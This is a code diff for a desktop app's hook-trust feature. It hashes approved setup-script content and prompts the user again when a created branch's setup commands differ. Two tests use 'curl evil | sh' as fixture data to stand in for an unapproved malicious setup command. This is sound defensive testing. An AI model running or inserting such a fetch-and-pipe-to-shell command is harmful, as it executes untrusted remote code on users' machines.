import type { PersistedTrustedOrcaHooks } from '../../../shared/orca-yaml-hook-types'
|
||||
import {
|
||||
__resetTrustPromptChainForTests,
|
||||
confirmCreatedWorktreeSetupContent,
|
||||
ensureHooksApproved,
|
||||
ensureHooksConfirmed,
|
||||
readAndConfirmRuntimeIssueCommand
|
||||
} from './ensure-hooks-confirmed'
|
||||
import { hashOrcaHookScript } from './orca-hook-trust'
|
||||
import { createHash } from 'node:crypto'
|
||||
import {
|
||||
createCompatibleRuntimeStatusResponseIfNeeded,
|
||||
type RuntimeEnvironmentCallRequest
|
||||
@@ -465,4 +468,54 @@ describe('ensureHooksConfirmed', () => {
|
||||
expect(decision).toBe('skip')
|
||||
expect(pending).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('returns the approved setup hash the host recomputes with node crypto', async () => {
|
||||
const { state, pending } = createTestState()
|
||||
hooksCheckMock.mockResolvedValue({
|
||||
hasHooks: true,
|
||||
hooks: { scripts: { setup: 'pnpm install' } },
|
||||
mayNeedUpdate: false
|
||||
})
|
||||
|
||||
const promise = ensureHooksApproved(state, 'repo-1', 'setup')
|
||||
await vi.waitFor(() => expect(pending).toHaveLength(1))
|
||||
pending[0].resolve('run')
|
||||
|
||||
await expect(promise).resolves.toEqual({
|
||||
decision: 'run',
|
||||
approvedContentHash: createHash('sha256').update('pnpm install').digest('hex')
|
||||
})
|
||||
})
|
||||
|
||||
it('approves the empty setup content without prompting so a branch cannot add unseen scripts', async () => {
|
||||
const { state, pending } = createTestState()
|
||||
hooksCheckMock.mockResolvedValue({ hasHooks: false, hooks: null, mayNeedUpdate: false })
|
||||
|
||||
await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
|
||||
decision: 'run',
|
||||
approvedContentHash: await hashOrcaHookScript('')
|
||||
})
|
||||
expect(pending).toHaveLength(0)
|
||||
})
|
||||
|
||||
it('sends no hash when the whole repo is trusted, so any branch content runs as before', async () => {
|
||||
const { state } = createTestState()
|
||||
state.trustedOrcaHooks['repo-1'] = { all: { approvedAt: 1 } }
|
||||
|
||||
await expect(ensureHooksApproved(state, 'repo-1', 'setup')).resolves.toEqual({
|
||||
decision: 'run'
|
||||
})
|
||||
})
|
||||
|
||||
it('re-prompts with the created branch setup content that differs', async () => {
|
||||
const { state, pending } = createTestState()
|
||||
|
||||
const promise = confirmCreatedWorktreeSetupContent(() => state, 'repo-1', 'curl evil | sh')
|
||||
await vi.waitFor(() => expect(pending).toHaveLength(1))
|
||||
expect(pending[0].data.scriptContent).toBe('curl evil | sh')
|
||||
expect(pending[0].data.scriptKind).toBe('setup')
|
||||
pending[0].resolve('skip')
|
||||
|
||||
await expect(promise).resolves.toEqual({ decision: 'skip' })
|
||||
})
|
||||
})
|
||||
|
||||
@@ -4,6 +4,7 @@ import { resolveHookCommandSourcePolicy } from '../../../shared/hook-command-sou
|
||||
import { getSetupTrustContent } from '../../../shared/orca-hook-setup-config'
|
||||
import { canUseRepoWideTrust } from '../../../shared/orca-hook-trust-entries'
|
||||
import { hashOrcaHookScript, type OrcaHookScriptKind } from './orca-hook-trust'
|
||||
import { getVmRecipeTrustContent } from './vm-recipe-trust-content'
|
||||
import {
|
||||
checkRuntimeHooks,
|
||||
readRuntimeIssueCommand,
|
||||
@@ -33,28 +34,6 @@ export function __resetTrustPromptChainForTests(): void {
|
||||
trustPromptChain = Promise.resolve()
|
||||
}
|
||||
|
||||
function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
|
||||
return (yamlHooks?.environmentRecipes ?? [])
|
||||
.map((recipe) =>
|
||||
[
|
||||
`# environmentRecipes.${recipe.id}`,
|
||||
`name: ${recipe.name}`,
|
||||
recipe.description ? `description: ${recipe.description}` : null,
|
||||
`create: ${recipe.create}`,
|
||||
recipe.suspend ? `suspend: ${recipe.suspend}` : null,
|
||||
recipe.resume ? `resume: ${recipe.resume}` : null,
|
||||
recipe.destroyDisabled
|
||||
? 'destroy: none'
|
||||
: recipe.destroy
|
||||
? `destroy: ${recipe.destroy}`
|
||||
: null
|
||||
]
|
||||
.filter((entry): entry is string => entry !== null)
|
||||
.join('\n')
|
||||
)
|
||||
.join('\n\n')
|
||||
}
|
||||
|
||||
function findHookRepo(state: AppState, repoId: string, hostId?: ExecutionHostId) {
|
||||
return hostId
|
||||
? state.repos.find((repo) => repo.id === repoId && getRepoExecutionHostId(repo) === hostId)
|
||||
@@ -85,6 +64,12 @@ function hookRepoOwnerHostId(
|
||||
return ownerHostId
|
||||
}
|
||||
|
||||
/** A run carries the approved content's hash (empty content included) unless the whole repo is trusted. */
|
||||
export type HookTrustApproval = { decision: 'run' | 'skip'; approvedContentHash?: string }
|
||||
|
||||
const SKIP: HookTrustApproval = { decision: 'skip' }
|
||||
const RUN_ANY: HookTrustApproval = { decision: 'run' }
|
||||
|
||||
async function confirmScriptContent(
|
||||
state: AppState,
|
||||
repoId: string,
|
||||
@@ -93,28 +78,29 @@ async function confirmScriptContent(
|
||||
hostId?: ExecutionHostId,
|
||||
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
|
||||
signal?: AbortSignal
|
||||
): Promise<'run' | 'skip'> {
|
||||
): Promise<HookTrustApproval> {
|
||||
if (isCancelled() || signal?.aborted) {
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId) || !scriptContent) {
|
||||
return 'run'
|
||||
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
|
||||
return RUN_ANY
|
||||
}
|
||||
|
||||
const contentHash = await hashOrcaHookScript(scriptContent)
|
||||
if (isCancelled() || signal?.aborted) {
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
const approved: HookTrustApproval = { decision: 'run', approvedContentHash: contentHash }
|
||||
const existingHash = state.trustedOrcaHooks[repoId]?.[scriptKind]?.contentHash
|
||||
if (existingHash === contentHash) {
|
||||
return 'run'
|
||||
if (!scriptContent || existingHash === contentHash) {
|
||||
return approved
|
||||
}
|
||||
|
||||
const repo = findHookRepo(state, repoId, hostId)
|
||||
const repoName = repo?.displayName ?? 'this repository'
|
||||
const previouslyApproved = Boolean(existingHash)
|
||||
|
||||
return new Promise<'run' | 'skip'>((resolve) => {
|
||||
const decision = await new Promise<'run' | 'skip'>((resolve) => {
|
||||
let settled = false
|
||||
const settle = (decision: 'run' | 'skip'): void => {
|
||||
if (settled) {
|
||||
@@ -145,6 +131,7 @@ async function confirmScriptContent(
|
||||
[MODAL_DISMISSED_KEY]: () => settle('skip')
|
||||
})
|
||||
})
|
||||
return decision === 'run' ? approved : SKIP
|
||||
}
|
||||
|
||||
function getIssueCommandTrustContent(result: IssueCommandReadResult): string {
|
||||
@@ -178,7 +165,7 @@ async function confirmIssueCommandReadResult(
|
||||
if (result.status === 'error') {
|
||||
return 'skip'
|
||||
}
|
||||
return confirmScriptContent(
|
||||
const approval = await confirmScriptContent(
|
||||
state,
|
||||
repoId,
|
||||
'issueCommand',
|
||||
@@ -186,6 +173,7 @@ async function confirmIssueCommandReadResult(
|
||||
hostId,
|
||||
isCancelled
|
||||
)
|
||||
return approval.decision
|
||||
}
|
||||
|
||||
export type ConfirmedRuntimeIssueCommand = {
|
||||
@@ -234,6 +222,24 @@ export async function readAndConfirmRuntimeIssueCommand(
|
||||
}
|
||||
|
||||
export async function ensureHooksConfirmed(
|
||||
...args: Parameters<typeof ensureHooksApproved>
|
||||
): Promise<'run' | 'skip'> {
|
||||
return (await ensureHooksApproved(...args)).decision
|
||||
}
|
||||
|
||||
/** Re-prompt with a created worktree's setup content that differs from what was approved. */
|
||||
export function confirmCreatedWorktreeSetupContent(
|
||||
getState: () => AppState,
|
||||
repoId: string,
|
||||
scriptContent: string,
|
||||
hostId?: ExecutionHostId
|
||||
): Promise<HookTrustApproval> {
|
||||
return enqueueTrustPrompt(() =>
|
||||
confirmScriptContent(getState(), repoId, 'setup', scriptContent, hostId)
|
||||
)
|
||||
}
|
||||
|
||||
export async function ensureHooksApproved(
|
||||
// Read current trust when dequeued so earlier prompts’ decisions apply.
|
||||
stateOrGetter: AppState | (() => AppState),
|
||||
repoId: string,
|
||||
@@ -242,14 +248,14 @@ export async function ensureHooksConfirmed(
|
||||
runtimeOwnerEnvironmentId?: string | null,
|
||||
isCancelled: () => boolean = NEVER_CANCEL_TRUST_CHECK,
|
||||
signal?: AbortSignal
|
||||
): Promise<'run' | 'skip'> {
|
||||
): Promise<HookTrustApproval> {
|
||||
return enqueueTrustPrompt(async () => {
|
||||
if (isCancelled() || signal?.aborted) {
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
const state = typeof stateOrGetter === 'function' ? stateOrGetter() : stateOrGetter
|
||||
if (canUseRepoWideTrust(state.trustedOrcaHooks, state.repos, repoId)) {
|
||||
return 'run'
|
||||
return RUN_ANY
|
||||
}
|
||||
|
||||
let scriptContent = ''
|
||||
@@ -263,13 +269,13 @@ export async function ensureHooksConfirmed(
|
||||
{ wakeWslDistro: true }
|
||||
)
|
||||
if (isUserOwnedIssueCommand(result)) {
|
||||
return 'run'
|
||||
return RUN_ANY
|
||||
}
|
||||
if (result.status === 'error') {
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
if (result.source === 'none') {
|
||||
return 'run'
|
||||
return RUN_ANY
|
||||
}
|
||||
scriptContent = getIssueCommandTrustContent(result)
|
||||
} else {
|
||||
@@ -282,14 +288,14 @@ export async function ensureHooksConfirmed(
|
||||
}
|
||||
)
|
||||
if (sourcePolicy === 'local-only') {
|
||||
return 'run'
|
||||
return RUN_ANY
|
||||
}
|
||||
const result = await checkRuntimeHooks(
|
||||
hookRepoOwnerHostId(state, repoId, hostId, runtimeOwnerEnvironmentId),
|
||||
repoId
|
||||
)
|
||||
if (result.status === 'error') {
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
const yamlHooks = (result.hooks as OrcaHooks | null) ?? null
|
||||
scriptContent =
|
||||
@@ -301,7 +307,7 @@ export async function ensureHooksConfirmed(
|
||||
}
|
||||
} catch {
|
||||
// Fail closed: if we cannot inspect the script, we cannot trust it.
|
||||
return 'skip'
|
||||
return SKIP
|
||||
}
|
||||
|
||||
return confirmScriptContent(
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
import type { OrcaHooks } from '../../../shared/orca-yaml-hook-types'
|
||||
|
||||
/** The environment recipe commands a vmRecipe trust approval covers. */
|
||||
export function getVmRecipeTrustContent(yamlHooks: OrcaHooks | null): string {
|
||||
return (yamlHooks?.environmentRecipes ?? [])
|
||||
.map((recipe) =>
|
||||
[
|
||||
`# environmentRecipes.${recipe.id}`,
|
||||
`name: ${recipe.name}`,
|
||||
recipe.description ? `description: ${recipe.description}` : null,
|
||||
`create: ${recipe.create}`,
|
||||
recipe.suspend ? `suspend: ${recipe.suspend}` : null,
|
||||
recipe.resume ? `resume: ${recipe.resume}` : null,
|
||||
recipe.destroyDisabled
|
||||
? 'destroy: none'
|
||||
: recipe.destroy
|
||||
? `destroy: ${recipe.destroy}`
|
||||
: null
|
||||
]
|
||||
.filter((entry): entry is string => entry !== null)
|
||||
.join('\n')
|
||||
)
|
||||
.join('\n\n')
|
||||
}
|
||||
@@ -1,7 +1,7 @@
|
||||
import type { AppState } from '@/store/types'
|
||||
import type { ExecutionHostId } from '../../../shared/execution-host'
|
||||
import type { SetupDecision } from '../../../shared/worktree/create-types'
|
||||
import { ensureHooksConfirmed } from './ensure-hooks-confirmed'
|
||||
import { ensureHooksApproved } from './ensure-hooks-confirmed'
|
||||
import { settleComposerSubmit } from './composer-submit-cancellation'
|
||||
|
||||
export async function confirmWorkspaceSetupDecision<T extends SetupDecision | undefined>(
|
||||
@@ -11,9 +11,12 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
|
||||
ownerHostId: ExecutionHostId | undefined,
|
||||
isCancelled: () => boolean,
|
||||
signal?: AbortSignal
|
||||
): Promise<{ setupDecision: T | 'skip'; trustDecision: 'run' | 'skip' } | 'cancelled'> {
|
||||
): Promise<
|
||||
| { setupDecision: T | 'skip'; trustDecision: 'run' | 'skip'; approvedSetupHash?: string }
|
||||
| 'cancelled'
|
||||
> {
|
||||
const trust = await settleComposerSubmit(
|
||||
ensureHooksConfirmed(
|
||||
ensureHooksApproved(
|
||||
stateOrGetter,
|
||||
repoId,
|
||||
'setup',
|
||||
@@ -27,5 +30,13 @@ export async function confirmWorkspaceSetupDecision<T extends SetupDecision | un
|
||||
if (trust.status === 'cancelled') {
|
||||
return 'cancelled'
|
||||
}
|
||||
return { setupDecision: trust.value === 'skip' ? 'skip' : decision, trustDecision: trust.value }
|
||||
const { decision: trustDecision, approvedContentHash } = trust.value
|
||||
// The host runs shared setup only if the created branch's content hashes to this.
|
||||
return {
|
||||
setupDecision: trustDecision === 'skip' ? 'skip' : decision,
|
||||
trustDecision,
|
||||
...(trustDecision === 'run' && approvedContentHash !== undefined
|
||||
? { approvedSetupHash: approvedContentHash }
|
||||
: {})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,6 +71,8 @@ export type WorktreeCreationRequest = {
|
||||
baseBranch?: string
|
||||
compareBaseRef?: string
|
||||
setupDecision: SetupDecision
|
||||
/** Hash of the setup content confirmed at submit; the host compares it with the created branch's. */
|
||||
approvedSetupHash?: string
|
||||
/** Inspect and confirm scripts on the captured host after the composer closes. */
|
||||
hookPreparation?: {
|
||||
executionHostId?: ExecutionHostId
|
||||
|
||||
@@ -69,7 +69,9 @@ export async function prepareDirectWorkItemSetup(
|
||||
ownerHostId: ExecutionHostId,
|
||||
signal?: AbortSignal,
|
||||
onSetupRequired?: () => void
|
||||
): Promise<SetupDecision | 'cancelled' | 'review-request'> {
|
||||
): Promise<
|
||||
{ setupDecision: SetupDecision; approvedSetupHash?: string } | 'cancelled' | 'review-request'
|
||||
> {
|
||||
const inspection = await resolveDirectSetupDecision(repo.id, repo, ownerHostId)
|
||||
if (signal?.aborted) {
|
||||
return 'cancelled'
|
||||
@@ -98,5 +100,9 @@ export async function prepareDirectWorkItemSetup(
|
||||
() => signal?.aborted === true,
|
||||
signal
|
||||
)
|
||||
return confirmed === 'cancelled' ? 'cancelled' : confirmed.setupDecision
|
||||
if (confirmed === 'cancelled') {
|
||||
return 'cancelled'
|
||||
}
|
||||
const { setupDecision, approvedSetupHash } = confirmed
|
||||
return { setupDecision, ...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}) }
|
||||
}
|
||||
|
||||
+2
-1
@@ -86,7 +86,8 @@ vi.mock('@/lib/workspace/activation/worktree-activation', () => ({
|
||||
}))
|
||||
|
||||
vi.mock('@/lib/ensure-hooks-confirmed', () => ({
|
||||
ensureHooksConfirmed: vi.fn().mockResolvedValue('run')
|
||||
ensureHooksConfirmed: vi.fn().mockResolvedValue('run'),
|
||||
ensureHooksApproved: vi.fn().mockResolvedValue({ decision: 'run' })
|
||||
}))
|
||||
|
||||
vi.mock('@/lib/connection-context', () => ({
|
||||
|
||||
@@ -61,16 +61,16 @@ export async function launchWorkItemDirect(
|
||||
const { repo } = context
|
||||
const promptDelivery = args.promptDelivery ?? 'draft'
|
||||
const { itemType, itemNumber } = getDirectWorkItemIdentity(item)
|
||||
const finalSetupDecision = await prepareDirectWorkItemSetup(
|
||||
const confirmedSetup = await prepareDirectWorkItemSetup(
|
||||
repo,
|
||||
context.executionHostId,
|
||||
args.signal,
|
||||
args.onSetupRequired
|
||||
)
|
||||
if (finalSetupDecision === 'review-request') {
|
||||
if (confirmedSetup === 'review-request') {
|
||||
return false
|
||||
}
|
||||
if (finalSetupDecision === 'cancelled') {
|
||||
if (confirmedSetup === 'cancelled') {
|
||||
return 'cancelled'
|
||||
}
|
||||
|
||||
@@ -168,7 +168,7 @@ export async function launchWorkItemDirect(
|
||||
repoId,
|
||||
workspaceName,
|
||||
resolvedBaseBranch,
|
||||
finalSetupDecision,
|
||||
confirmedSetup.setupDecision,
|
||||
undefined,
|
||||
telemetrySource,
|
||||
workspaceIntentName?.displayName ?? item.title,
|
||||
@@ -190,7 +190,12 @@ export async function launchWorkItemDirect(
|
||||
undefined,
|
||||
undefined,
|
||||
resolvedCompareBaseRef,
|
||||
{ executionHostId: context.executionHostId }
|
||||
{
|
||||
executionHostId: context.executionHostId,
|
||||
...(confirmedSetup.approvedSetupHash !== undefined
|
||||
? { approvedSetupHash: confirmedSetup.approvedSetupHash }
|
||||
: {})
|
||||
}
|
||||
)
|
||||
const worktreeId = result.worktree.id
|
||||
const worktreePath = result.worktree.path
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import { prepareWorktreeCreationHooks } from '@/lib/workspace/creation/worktree-creation-hook-preparation'
|
||||
import { prepareWorktreeCreationHooks, setupCreateArgs } from './worktree-creation-hook-preparation'
|
||||
import { useAppStore } from '@/store/index'
|
||||
import {
|
||||
activateAndRevealWorktree,
|
||||
@@ -93,7 +93,7 @@ export async function executeWorktreeCreation(
|
||||
preparedRequest.linkedGiteaPR,
|
||||
preparedRequest.compareBaseRef,
|
||||
{
|
||||
setupOnly: preparedRequest.setupOnly,
|
||||
...setupCreateArgs(preparedRequest),
|
||||
...(preparedRequest.branchIntent ? { branchIntent: preparedRequest.branchIntent } : {}),
|
||||
...(hostAgentLaunch ? { hostAgentLaunch } : {}),
|
||||
executionHostId: creationHostId,
|
||||
|
||||
@@ -38,7 +38,7 @@ export async function prepareWorktreeCreationHooks(
|
||||
return null
|
||||
}
|
||||
|
||||
const { setupDecision, trustDecision } = confirmed
|
||||
const { setupDecision, trustDecision, approvedSetupHash } = confirmed
|
||||
let issueCommand = request.issueCommand
|
||||
if (preparation.issueCommand && preparation.executionHostId && trustDecision !== 'skip') {
|
||||
const confirmed = await readAndConfirmRuntimeIssueCommand(
|
||||
@@ -74,6 +74,7 @@ export async function prepareWorktreeCreationHooks(
|
||||
hookPreparation: undefined,
|
||||
executionHostId: request.executionHostId ?? preparation.executionHostId,
|
||||
setupDecision,
|
||||
...(approvedSetupHash !== undefined ? { approvedSetupHash } : {}),
|
||||
issueCommand
|
||||
}
|
||||
useAppStore.getState().updatePendingWorktreeCreation(creationId, {
|
||||
@@ -82,3 +83,15 @@ export async function prepareWorktreeCreationHooks(
|
||||
})
|
||||
return prepared
|
||||
}
|
||||
|
||||
/** Setup fields for the create call; the approved hash lets the host check the created branch. */
|
||||
export function setupCreateArgs(
|
||||
request: Pick<WorktreeCreationRequest, 'setupOnly' | 'approvedSetupHash'>
|
||||
): { setupOnly?: boolean; approvedSetupHash?: string } {
|
||||
return {
|
||||
setupOnly: request.setupOnly,
|
||||
...(request.approvedSetupHash !== undefined
|
||||
? { approvedSetupHash: request.approvedSetupHash }
|
||||
: {})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -317,6 +317,38 @@ describe('worktree remote runtime mutations', () => {
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('forwards the approved setup hash and re-prompts with setup the created branch changed', async () => {
|
||||
const store = createRepoTestStore()
|
||||
const openModal = vi.fn()
|
||||
store.setState({ openModal })
|
||||
mockApi.worktrees.create.mockResolvedValue({
|
||||
worktree: makeWorktree({
|
||||
id: 'repo1::/path/feature',
|
||||
repoId: 'repo1',
|
||||
path: '/path/feature'
|
||||
}),
|
||||
setupTrustMismatch: { contentHash: 'branch-hash', scriptContent: 'curl evil | sh' }
|
||||
})
|
||||
const create = store.getState().createWorktree
|
||||
const args: Parameters<typeof create> = ['repo1', 'feature', 'origin/main', 'run']
|
||||
args[25] = { approvedSetupHash: 'primary-hash' }
|
||||
|
||||
await create(...args)
|
||||
|
||||
expect(mockApi.worktrees.create).toHaveBeenCalledWith(
|
||||
expect.objectContaining({ setupDecision: 'run', approvedSetupHash: 'primary-hash' })
|
||||
)
|
||||
await vi.waitFor(() => expect(openModal).toHaveBeenCalledOnce())
|
||||
expect(openModal).toHaveBeenCalledWith(
|
||||
'confirm-orca-yaml-hooks',
|
||||
expect.objectContaining({
|
||||
repoId: 'repo1',
|
||||
scriptKind: 'setup',
|
||||
scriptContent: 'curl evil | sh'
|
||||
})
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
// Creation routes by the project row's own host, so every test seeds that row.
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import { showWorktreeCreateWarningToast } from './worktree-create-warning-toast'
|
||||
import { reviewSetupTrustMismatch } from './created-worktree-setup-trust'
|
||||
import { createWorktreeOnRuntimeHost } from './host-planned-agent-launch'
|
||||
import { runtimeRpcTargetForAuthorityKey } from '@/runtime/runtime-client-target'
|
||||
import { repoHostId } from '../listing/worktree-host-ownership'
|
||||
@@ -261,6 +262,7 @@ export function createCreateWorktree(
|
||||
}
|
||||
const { result } = outcome
|
||||
showWorktreeCreateWarningToast(result.warning)
|
||||
reviewSetupTrustMismatch(get, repoId, creationHostId, result)
|
||||
showLocalBaseRefRefreshToast(result.localBaseRefRefresh, result.worktree, {
|
||||
updateSettings: get().updateSettings,
|
||||
executionHostId: creationHostId
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
import { toast } from 'sonner'
|
||||
import { translate } from '@/i18n/i18n'
|
||||
import type { AppState } from '@/store/types'
|
||||
import { confirmCreatedWorktreeSetupContent } from '@/lib/ensure-hooks-confirmed'
|
||||
import type { ExecutionHostId } from '../../../../../../shared/execution-host'
|
||||
import type { CreateWorktreeResult } from '../../../../../../shared/worktree/create-types'
|
||||
|
||||
/** The host skipped setup because the created branch's commands differ; ask about the real ones. */
|
||||
export function reviewSetupTrustMismatch(
|
||||
getState: () => AppState,
|
||||
repoId: string,
|
||||
hostId: ExecutionHostId | undefined,
|
||||
result: Pick<CreateWorktreeResult, 'setupTrustMismatch'>
|
||||
): void {
|
||||
const mismatch = result.setupTrustMismatch
|
||||
if (!mismatch) {
|
||||
return
|
||||
}
|
||||
toast.warning(
|
||||
translate(
|
||||
'worktree.setupTrust.createdBranchSkipped',
|
||||
"Setup didn't run: this branch's orca.yaml setup commands differ from the ones you approved."
|
||||
)
|
||||
)
|
||||
void confirmCreatedWorktreeSetupContent(getState, repoId, mismatch.scriptContent, hostId).catch(
|
||||
(error: unknown) => console.error('Failed to review the workspace setup commands:', error)
|
||||
)
|
||||
}
|
||||
@@ -28,6 +28,8 @@ export type CreateWorktreeCallOptions = {
|
||||
/** A terminal agent the owning host may plan from its own settings; `startup` stays the fallback. */
|
||||
hostAgentLaunch?: HostAgentLaunch
|
||||
setupOnly?: boolean
|
||||
/** Hash of the confirmed setup content; see CreateWorktreeArgs. */
|
||||
approvedSetupHash?: string
|
||||
/** True only when `name` came from the creature-name generator; gates host-side retirement. */
|
||||
nameWasGenerated?: boolean
|
||||
displayNameKind?: CreateWorktreeArgs['displayNameKind']
|
||||
@@ -79,6 +81,9 @@ function sharedCreateFields(
|
||||
...(attempt.branchNameOverride ? { branchNameOverride: attempt.branchNameOverride } : {}),
|
||||
...(request.branchIntent ? { branchIntent: request.branchIntent } : {}),
|
||||
setupDecision: request.setupDecision,
|
||||
...(options?.approvedSetupHash !== undefined
|
||||
? { approvedSetupHash: options.approvedSetupHash }
|
||||
: {}),
|
||||
...(options?.setupOnly !== undefined ? { setupOnly: options.setupOnly } : {}),
|
||||
sparseCheckout: request.sparseCheckout,
|
||||
...(request.displayName ? { displayName: request.displayName } : {}),
|
||||
|
||||
@@ -80,6 +80,9 @@ export function createWorktreesApi(): NonNullable<Partial<PreloadApi>['worktrees
|
||||
sparseCheckout: args.sparseCheckout,
|
||||
pushTarget: args.pushTarget,
|
||||
setupDecision: args.setupDecision,
|
||||
...(args.approvedSetupHash !== undefined
|
||||
? { approvedSetupHash: args.approvedSetupHash }
|
||||
: {}),
|
||||
createdWithAgent: args.createdWithAgent,
|
||||
pendingFirstAgentMessageRename: args.pendingFirstAgentMessageRename,
|
||||
...(args.startup
|
||||
|
||||
@@ -117,6 +117,8 @@ export const WorktreeCreate = z
|
||||
)
|
||||
.pipe(z.union([z.enum(['run', 'skip', 'inherit']), z.undefined()]))
|
||||
.optional(),
|
||||
// A malformed hash never matches, so the host skips setup rather than running unapproved content.
|
||||
approvedSetupHash: z.string().max(128).optional(),
|
||||
// Desktop can prequote startup commands; clients unable to quote for the host send startupAgent.
|
||||
startupCommand: OptionalString,
|
||||
startupEnv: z.record(z.string(), z.string()).optional(),
|
||||
|
||||
@@ -47,6 +47,9 @@ export type {
|
||||
|
||||
export type SetupDecision = 'inherit' | 'run' | 'skip'
|
||||
|
||||
/** The created worktree's shared setup commands, when they differ from what the client approved. */
|
||||
export type SetupTrustMismatch = { contentHash: string; scriptContent: string }
|
||||
|
||||
export type WorktreeCreateTimingPhase = {
|
||||
phase: string
|
||||
startedAtMs: number
|
||||
@@ -106,6 +109,8 @@ export type CreateWorktreeArgs = {
|
||||
/** V1 open-existing retains legacy tip/collision policy; V2 pins explicit reuse regardless of remote divergence. */
|
||||
branchIntent?: 'open-existing' | 'open-existing-v2' | 'create-new'
|
||||
setupDecision?: SetupDecision
|
||||
/** SHA-256 of the setup trust content the user approved; hosts run shared setup only if the created worktree's matches. Older clients omit it. */
|
||||
approvedSetupHash?: string
|
||||
/** Per-create choice; omitted callers use the execution host's saved default. */
|
||||
setupOnly?: boolean
|
||||
sparseCheckout?: CreateSparseCheckoutRequest
|
||||
@@ -189,6 +194,8 @@ export type CreateWorktreeResult = {
|
||||
terminalHandle?: string
|
||||
}
|
||||
defaultTabs?: WorktreeDefaultTabsLaunch
|
||||
/** Setup and default-tab commands were skipped because the created branch's differ from the approved ones. */
|
||||
setupTrustMismatch?: SetupTrustMismatch
|
||||
warning?: string
|
||||
baseFallback?: WorktreeCreateBaseFallback
|
||||
initialBaseStatus?: WorktreeBaseStatusEvent
|
||||
|
||||
Reference in New Issue
Block a user